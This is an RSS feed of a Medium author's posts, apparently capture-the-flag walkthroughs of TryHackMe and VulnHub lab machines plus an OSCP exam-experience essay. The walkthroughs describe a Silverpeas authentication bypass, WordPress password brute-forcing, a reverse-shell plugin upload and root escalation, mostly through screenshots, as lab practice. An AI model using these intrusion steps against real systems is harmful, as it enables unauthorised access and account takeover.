<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cursemagic on Medium]]></title>
        <description><![CDATA[Stories by Cursemagic on Medium]]></description>
        <link>https://medium.com/@cursemagic?source=rss-6c964c17499d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*HruQZlVtLe9iFjJh.jpg</url>
            <title>Stories by Cursemagic on Medium</title>
            <link>https://medium.com/@cursemagic?source=rss-6c964c17499d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 05:48:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cursemagic/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Silver Platter Walkthrough]]></title>
            <link>https://cursemagic.medium.com/tryhackme-silver-platter-walkthrough-b98816f99292?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b98816f99292</guid>
            <category><![CDATA[silver-platter-tryhackme]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[cursemagic]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Mon, 25 Aug 2025 14:33:23 GMT</pubDate>
            <atom:updated>2025-08-25T14:33:23.634Z</atom:updated>
            <content:encoded><![CDATA[<p>So, today I would like to work on Silver Platter machine, which is from TryHackMe. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>################################################################</p><p>Run Nmap scan, as usual.</p><p>While waiting, browse to the web application. We can see there is nothing interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGUOR_8JzaHzUu41QKGgVw.png" /></figure><p>Found a possible username, but nothing to can input yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*MkF0pNcQi8qGLPTnIhJqoQ.png" /></figure><p>After Nmap scan complete, we can see that there is port 8080 found on the server. We can run gobuster, on the port and we can see there is two directories.</p><pre>gobuster dir -u http://TARGET_IP:8080/ -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*LRftrRVI5ZNSU5ZkMdz5uA.png" /></figure><p>After trying, both are not able to access.</p><p>Then, remember there is a hint on the contact page, were it stated SilverPeas.</p><p>Then I search on Google and found a website with silverpeas implementation. As we can see, in this site, we can see the directory is /silverpeas/defaultLogin.jsp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*552XX5-Ahiw3v4g0paqf6A.png" /></figure><p>And we are able to find it on the server too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*L8dcHZKCE2AuRot1XrnjNw.png" /></figure><h3><strong>EXPLOIT</strong></h3><p>Found a possible why to bypass the authentication on SilverPeas.</p><p><a href="https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d">Bypass Silver Peas Auth</a></p><p>The bypass works by removing the “Password” parameter from the request, and the application will think that the user is using SSO-based login, therefore no password required.</p><p>Original:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gc8tjct5kf8fyZN_1N2dtA.png" /></figure><p>Modified:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDVB3dJYAF_Wvx_cKpdyFA.png" /></figure><p>Then, we will able to “login” as scr1ptkiddy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrCAqmKZV_lbDf_SLcGulg.png" /></figure><p>Now we can try to enumerate to get more information on how to privilege escalation. And we can see there is a newly found username: “Tyler”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*W3u9IfaNax3Qi5bZx5bHLQ.png" /></figure><p>Tried Tyler using the same technique and failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3PuGpeV8GxBJh7l2AHhKeQ.png" /></figure><p>After a bit of browsing, 2 new usernames were found on the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qa_x961ar7S8tfkScamN3Q.png" /></figure><p>Tried Administrateur with same technique but it failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ToVrIJygVYLQXwKe3ChXvQ.png" /></figure><p>Now we can try Manager account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0285b55VMWwf4jLWv3ICeA.png" /></figure><p>And it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*J4dcJ2UioLBrKLalpQyb_g.png" /></figure><p>And on the notification tab…</p><p>Found password for the user Tim. Awesome!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*872ouykw3QLi_qxNAjKI-w.png" /></figure><h3><strong>FOOTHOLD</strong></h3><p>Now, we can ssh using the credentials we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*oBezEG1zgFhrH262Pi-nkg.png" /></figure><h3><strong>USER FLAG</strong></h3><p>Get the User flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHxoKYRJcxAjuYonbSGS3Q.png" /></figure><p>Now, we have the user flag. We can start to enumerate as current user to get more information on how to privilege escalate or lateral movement. So, linpeas it is.</p><p>First set up a python server on our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*wuYuKVg7VRr-8IohuOy7ag.png" /></figure><p>Next, upload it t the target on /tmp directory and make it executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*25Muw-LTuJLkGQAhV9L4LA.png" /></figure><p>Run linpeas, and review what it found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*ObQp1hU5ZKqEDiYrGajiCg.png" /></figure><p>4(adm) suggested that we should look through the files in /var/log. Throughout the logs, i can see that Tyler might have Admin privilege assigned to it.</p><p>After a long long reading and scrolling through log files, finally something caught my attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RgnOquRMUgTC-Xi35Bgdnw.png" /></figure><p>Using the creds we found, we are able to switch user to Tyler.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*nbres_ur7ffq21Jn4ulvLg.png" /></figure><p>Now we can try sudo -l.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DcXrceMJUKfqRgEOT6gbkQ.png" /></figure><p>As expected, tyler is able to run all command as root.</p><p>And we just need to switch user to root and provide tyler’s password. Bam! We are root now!</p><h3>ROOT <strong>FLAG</strong></h3><p>Now, the easy part. Output the flag and we are done!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*maml3F4KauDz6K9DzQIoSA.png" /></figure><p>And that’s the end! We had completed the room! Thank you!</p><p>#<br>I would say this room is ok, might be a bit hard for beginners. Yet, this room is pretty straight forward.</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="http://buymeacoffee.com/Cursemagic">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://cursemagic.medium.com/">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b98816f99292" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Net Sec Challenge Room]]></title>
            <link>https://cursemagic.medium.com/try-hack-me-net-sec-challenge-room-26b79e5bfe11?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/26b79e5bfe11</guid>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[curse]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Sun, 06 Jul 2025 10:58:03 GMT</pubDate>
            <atom:updated>2025-07-06T10:58:03.333Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Net Sec Challenge Room</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*V4C_nqKz0AL-Q2-mxOrppA.png" /><figcaption>Net Sec Challenge</figcaption></figure><p>This room is not an medium room I would say but, anyway if someone really get stucked, these might help! Remember to scan all ports with -p- to get the all the open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*vaRmMPgdyRlO-_2BU2dWFg.png" /></figure><h3>CHALLENGE</h3><ol><li>What is the highest port number being open less than 10,000?<br>Ans: 8080</li><li>There is an open port outside the common 1000 ports; it is above 10,000. What is it?<br>Ans: 10021</li><li>How many TCP ports are open?<br>Ans: 6</li><li>What is the flag hidden in the HTTP server header?<br>Step: Go to port 80, and open up the Network console panel.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*6Wg5ZXhXJhVVd1y-JsLhDg.png" /></figure><p>5. What is the flag hidden in the SSH server header?<br> By scanning the port 22, the nmap result will show the following, where ssh server header can be found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*cn5bqImjGVVAmXa7Vm5JQA.png" /></figure><p>6. We have an FTP server listening on a nonstandard port. What is the version of the FTP server?<br>Ans: vsftpd 3.0.5</p><p>7. We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?</p><p>Remember: The port is 10021, dont scan the wrong port and you will get error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*rjxSwB7-IGggWERtw9lNZA.png" /></figure><p>Then, login to ftp as quinn, and download the flag file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vfwl7B-0ysTTW9sKgnXc0g.png" /></figure><p>Open it on local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/181/1*uHAldL8qhwjbT32Gf6xbHg.png" /></figure><p>8. Browsing to <a href="http://10.10.63.98:8080/">http://10.10.63.98:8080</a> displays a small challenge that will give you a flag once you solve it. What is the flag?</p><p>To get it, you will need to sue Null Scan, -sN and scan the ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*nfvANLCJo_bJpVnHm3w2gg.png" /></figure><p>Thanks! Just a short guide.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26b79e5bfe11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP — Passed on the second time — My honest opinion and my journey from zero to OSCP.]]></title>
            <link>https://cursemagic.medium.com/oscp-passed-on-the-second-time-my-honest-opinion-and-my-journey-from-zero-to-oscp-54ad029dc914?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/54ad029dc914</guid>
            <category><![CDATA[zero-to-oscp]]></category>
            <category><![CDATA[cursemagic]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[try-harder]]></category>
            <category><![CDATA[cursem]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Mon, 26 Aug 2024 10:09:52 GMT</pubDate>
            <atom:updated>2024-08-26T10:09:52.944Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP — Passed on the second time — My honest opinion and my journey from zero to OSCP.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*neMAGedCHDBVQ2iiL6XeAQ.jpeg" /></figure><p>Hello guys, its me again! I know that I did not update or post anything for a very long time, and I am sorry about it. Still, I am happy to announce that I finally passed my OSCP not long ago! Wanted to post this on Reddit but I have not enough Karma… (Anyway)</p><p>I do really enjoyed reading the experiences and ideas posted by others. I will give my honest opinion and my journey from zero to OSCP.</p><p>Happy reading I guess? (Sorry at bit lengthy)</p><h3><strong>Background:</strong></h3><p>I am <strong>NOT</strong> from IT field and with almost 0 IT background, but I do have interest in the field that led me to taking OSCP. I started my research on 2022 while working as a customer support and bought OSCP LearnOne on December 2023. Between those period, I do have access to TryHackMe to have a feel on how hacking machine “works”. But, I do not do it seriously and just go through walkthroughs and do silly things. Once I purchased the bundle, I quit my full-time job and started working on OSCP modules while working a part-time job to earn some money.</p><h3><strong>Journey:</strong></h3><p>I completed a few Vulnhub boxes prior starting my journey as you can see it on my Medium story. It take me 6 months (I might be a slower learner, or I might just a lazy human) to complete the learning modules. I do need to have some research on most of the topics.</p><h3>Pre First Exam Challenges and Labs:</h3><p>All 3 lab challenges, Relia and Medtech were very difficult for me. I did not try to attempt Skylark at all. I require hints for 80–90% of the labs as I really have no idea on how to do it (I only done 3–4 PG boxes at that time). Then, I realised I am wrong, and started working on PG boxes for a few weeks (3 I think) and I get around 40 boxes before the exam day.</p><h3>First Exam:</h3><p>I took my exam after seven months of learning and I failed so hard (Like really hard, 10 points) , and I even thought of quitting OSCP after the first attempt. I am not able to get into AD set and the other standalones. Just 1 foothold and none. It is so depressing and my stress sky rocketed. Yet, I do complete the report and submit it.</p><h3>Post First Exam:</h3><p>I tried to release my stress by having a break for 2 weeks by playing games, outing and even sleeping. After the 2 weeks, i do not felt any relief but I do correct my mindset (maybe a little?). Then, I started to push myself to complete more PG practice everyday, 3–4 boxes per day. Then I booked my second exam on August. By that time, I reached 70+ boxes on PG.</p><h3>Second Exam Attempt:</h3><p>I am nervous as hell, like seriously. I started my exam and I am able to get into AD first machine in 2 hours and become Admin in another 10 minutes. This really boost my confidence, but I failed to get into the second machine as I have really no idea. I wasted like 10 hours? to get into the second machine which is SO SIMPLE and MY STUPID BRAIN just missed it. After I get into second machine, I am able to get some juicy information but I have no idea how to proceed….</p><p>Then I tried to get into standalones. Only one of the box I am able to locate the foothold and get into it. To my surprise, the privilege escalation is pretty simple and I managed to complete the standalone box around an hour (From getting foothold to root). At that moment, I tell myself, this is the time and chance, just push and get it. I push myself for another 4 hours on AD set but I still failed to get escalation. My brain was fried (Crispy and smokey flavor), and I know that nothing will help now, and I decided to sleep.</p><p>After 4 hours of sleep, I continue to work on the AD set. As you can see I do not have much time left, as I wasted too much on getting into second machine (2 hours + 10 minutes + 10 hours + 1 hours + 4 hours + 4 hours = 21 hours 10 minutes). I have around 2hours and 35 minutes, at that time to work. I tried everything I know and I dont know on it and suddenly it works (after 2 reverts), and I am managed to escalate my privilege (1 hour and 30 minutes gone). Then, after another half an hour, I am managed to get into DC!</p><p>I am so excited and I started to recheck all the notes and hashes. I have about 35 minutes to recheck all the things and I managed to complete all checks in 30 minutes. Then the proctor told me the exam is over and the session is ended.</p><h3>Report Time!</h3><p>I am so hyped and I have so much adrenaline (I guess), I started writing my report after my lunch (no breakfast). I am able to complete it after 5 hours, thanks to my notes and take me 3 hours to recheck and modify those parts I think is not good enough. Then, I submitted the report at night and sleep.</p><h3>Finally!</h3><p>I am also nervous after I submitted my report, I am worried that I might miss anything important which will cause my points to be excluded. Then after a few days, I received my email. I finally it passed!</p><h3>DLC part! (My experience in more detailed)</h3><p>I had power failures and network error during my exam. I am not able to get into anything until I realized that my router is not working at all. Called the service provider but they do not come to help or fix. I switch to my family’s personal hotspot to continue my exam (I am doomed without them like really). The next day when I woke up and trying to complete my AD set, suddenly my residential area have a power surge. That drive me so mad and furious but thankfully it managed to solve in half an hour. But still, my ISP still give excuses not coming to fix my router (I gave up asking them).</p><p>Also, I do not have good sleep after a few months studying the materials. I have nightmares and dreams almost every night which make me so exhausted when I wake up. I also saw many posts on failing and getting low scores in exam (Which often appear in my dream). But once I passed, the sleep was so good and without dreams or nightmares. Phewww….</p><h3>Now, My Opinion:</h3><p>I had completed almost 70+ Play and Practice PG boxes before my second attempt. I would recommend doing Lainkusanagi list first then only continue with other boxes listed on TJNull. Both are pretty similar, but I do think some boxes in TJNull list is harder (Sorry TJNull, but your list does help me too!). I do not complete Nagoya and Hokkaido boxes.</p><h3>On HTB or THM boxes:</h3><p>I did not use or work on any HTB or THM boxes during this period. I <strong>do strongly agree</strong> that those will help to increase your confidence and skills. But due to the fact that Offsec made OSCP and PG is also by Offsec, I focused on PG boxes.</p><h3>My honest opinion after passing (and failing):</h3><ol><li>Please complete PG boxes (Play or Practice) as much as possible before trying Challenge exam.</li><li>Just practice everyday, practice on any platform you want or you like or you can afford. Don’t worry of viewing walkthroughs or hints throughout the process. Everything is a learning point and you might found something really useful and might help in exam.</li><li>You do not know what you do not know. I understand the spirit and mindset of Try Harder, I do agree until some extent (This does not mean I disagree with Try Harder mindset). This is because if you don’t even know a thing exist, you will not be searching or using it.</li><li>Enumeration is very important in exam (in other cases as well of course). Sometimes, a small hint is the way to foothold or root.</li><li>Unless you are experienced (I think?), you will always feel not ready for the exam (like me).</li><li>Always get the 10 bonus points, it save “lives”. Without it, I will fail.</li><li>Just take breaks, don’t be like me. Fried and short-circuited brain don’t help.</li><li>But, I do think Challenge Lab is way easier than OSCP exam in my very honest opinion. I would say OSCP is 1.5–2 times harder from my personal experience as everyone has different background and experience (JUST MY OWN PERSONAL EXPERIENCE).</li><li>If I can do it, you guys can do it!</li></ol><p>Also, special thanks to (Sorry if I missed someone)</p><p><a href="https://x.com/theXSSrat">@theXSSrat</a></p><p><a href="https://x.com/thecybermentor">@thecybermentor</a></p><p><a href="https://x.com/0xTib3rius">@0xTib3rius</a></p><p>Any advice for me after OSCP or opinions on my post, please let me know!</p><p>Any comments or if you like my post, please like, share, and subscribe. It mean a lot to me.</p><p>###########################################################</p><p>Twitter: @curse_jk</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54ad029dc914" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LemonSqueezy machine — Walkthrough]]></title>
            <link>https://cursemagic.medium.com/lemonsqueezy-machine-walkthrough-277ed4b3b95c?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/277ed4b3b95c</guid>
            <category><![CDATA[lemon-squeezy]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Sun, 31 Dec 2023 21:22:42 GMT</pubDate>
            <atom:updated>2023-12-31T21:22:42.507Z</atom:updated>
            <content:encoded><![CDATA[<h3>LemonSqueezy machine — Walkthrough</h3><p>Hi guys, Happy New Year! Hope you guys have a great year!</p><p>This is the twelveth day and twelveth box (12D-12B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on LemonSqueezy machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>################################################################</p><p>Enumeration</p><p>Nmap</p><p>It looks like it has only one port open and it will be our main focus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*vr8gYPFXIIbcpxiacsZQkA.png" /></figure><p>Gobuster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*rCDyowIsgBHWl-2VypuhqA.png" /></figure><p>/wordpress</p><p>This looks weird, it is like unarranged site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*a4U4byW0Vla78acgFKyZLw.png" /></figure><p>It looks like we will need to add this to /etc/hosts file. So, open /etc/hosts and add the IP to it with lemonsqueezy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PjcL7bCQOm8HpPRfmXgvgw.png" /></figure><p>Wpscan</p><p>wpscan — url http://&lt;target_ip&gt;/wordpress/ -e ap,at -e u</p><p>After the scan, there are two usernames found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*sQfu2mTYm9WE7zsqGy239Q.png" /></figure><p>Then we can run wpscan for the usernames found to obtain the passwords.</p><blockquote>orange:ginger</blockquote><p>We can try it on http://lemonsqueezy/wordpress/wp-login.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*6DBC136X_SblBd9Ox1pH8g.png" /></figure><p>And yes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rwLa6Tx1VgHzWcqd1fbxRQ.png" /></figure><p>Now we explore a bit and we found something interesting here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_F4zAPiuelIGHx253rOP1A.png" /></figure><p>And we get this string which is most likely password! n0t1n@w0rdl1st!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*8ZJ_vziLafQvaZsM4nQlVw.png" /></figure><p>Tried on wp-login.php and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*6r_DCAqrB5YoHM6QbncV2g.png" /></figure><p>And we get here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eINVkB2vB-hRJrvPqga-Zg.png" /></figure><p>And we can press the “Database” on the top navigation, then press “wordpress” on the left side and choose “wp-users”. After that, we can see there is a userpass section where there are password listed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYhJJFT8vl98MIL6kb1ygg.png" /></figure><p>Then, we can change the password for the user lemon. To do so, we can copy the hash for user orange, and paste it on user lemon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*V-PEAC2S4RoRJgDOJDo43A.png" /></figure><p>Then, we can login to lemon using the same password for user orange on wordpress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*BYi0a1Iu09J7XH_wu5rgQw.png" /></figure><p>And, we are in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*al21qyINcuNNepGsfRwp_g.png" /></figure><p>Then, we can go plugins -&gt; add new -&gt; upload plugins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpe6ybZdyPL5kJ4ayoiLUA.png" /></figure><p>Tried to create a payload using msfvenom and upload it but it failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*r6WHzL6ft79tMiKsc6PXXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*_JRC0My9Kik963IHy9_qaw.png" /></figure><p>Try it, and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*tGfT54qtNqjlF6ZrorGKyg.png" /></figure><p>Thenm place reverse shell on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*hOUEoeZyOVO4-mNWuZhY_Q.png" /></figure><p>And we get reverse connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*SkF0uOb52ppLbOZigRY8Mg.png" /></figure><h3>Exploring!</h3><p>From there, I can see there is a wp-config.php. This credentials were obtained previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*xDmAdpHiku5nZu8qlhx8fQ.png" /></figure><p>After checking for a while, the user.txt is located at /var/www.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*U_81GA4U-S3gbUXJuPZZJQ.png" /></figure><p>Then, time to escalate.</p><h3>To admin!</h3><p>Now I download linpeas to the machine and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*UIA_chW8Zix6f4NbyYkZ-g.png" /></figure><p>After checking the results, it looks like we have something interesting here running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*CLeq5MpQhhKQYOnWFn-Y8w.png" /></figure><p>Now we look at the file content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*cL7xd9bsyHm795LVTgHuXw.png" /></figure><p>We can edit the file and we will get the root access!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sKF8_y6zDxi78HVHFN-2Mg.png" /></figure><p>Then we get the shell as root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*d2Q83LtyJdos22VQzbhISA.png" /></figure><p>And its done!</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=277ed4b3b95c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EVM machine — Walkthrough]]></title>
            <link>https://cursemagic.medium.com/evm-machine-walkthrough-7b79b2c414bc?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b79b2c414bc</guid>
            <category><![CDATA[evm]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Thu, 28 Dec 2023 09:54:47 GMT</pubDate>
            <atom:updated>2023-12-28T10:13:42.680Z</atom:updated>
            <content:encoded><![CDATA[<h3>EVM machine — Walkthrough</h3><p>Hi guys, this is the eleventh day and eleventh box (11D-11B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on EVM machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>################################################################</p><h3>Enumeration</h3><p>Nmap</p><p>There are a few ports opened, such as 22, 53, 80, 110, 139, 143, and 445.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0fOeHiSSUFJjrsKx-XwChA.png" /></figure><p>Port 80 — HTTP</p><p>There is a comment left there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*g5fds_bRbhc6JLFA61bfug.png" /></figure><p>Trying gobuster on /wordpress/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*7bOD_bGNLFo-V__3R6A_Tw.png" /></figure><p>/wordpress/wp-includes</p><p>There is a ton of file here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*SVFIINYoXaf_sllG8cSEuQ.png" /></figure><p>Using Wpscan, we can scan the wordpress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*IEsoOd6slmu0NCEsF7NgWg.png" /></figure><p>/uploads/</p><p>Nothing useful found here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*QRK5pII54CWwQPXXBsk4pw.png" /></figure><p>After few trial and error, I found something useful with “-e u” arguments with wpscan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*goNYr8Z3U7dyagmG7TevPw.png" /></figure><p>There is a user with c0rrupt3d_brain as username. We can use wpscan to brute force the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NuiQwsrHAQ8azx58o2fAbA.png" /></figure><p>Then we can make use of msfconsole to login to it, as wp-login is unable to be loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qCm54o8lwRcP5rLBLvwlMg.png" /></figure><p>Use 5, and input the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*PWWks7qB7HOPmYhC7itV5Q.png" /></figure><p>Then we can exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*6kjZrYh5iHYe-zOL-eMhoQ.png" /></figure><h3>METERPRETER TIME!</h3><p>Now try to find some juicy files so we can escalate further. On root3r, we can see there is a root password ssh text file which gives us willy26.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*kr8RDO9cyNzH-6dEVYDpvQ.png" /></figure><p>Now, create a shell and upgrade it. Then, we can switch user to root with the password we obtained just now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*ij4gmt5e2EjJsfPXcO3pWg.png" /></figure><p>Then the PROOF.TXT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*NKoGso2c9onW3BZpoYxhQA.png" /></figure><p>Voila! Another room done, and SO MANY new things learned in this room!</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b79b2c414bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tr0ll machine — Walkthrough]]></title>
            <link>https://cursemagic.medium.com/tr0ll-machine-walkthrough-d67b3d0de92c?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d67b3d0de92c</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tr0ll]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Wed, 27 Dec 2023 21:30:49 GMT</pubDate>
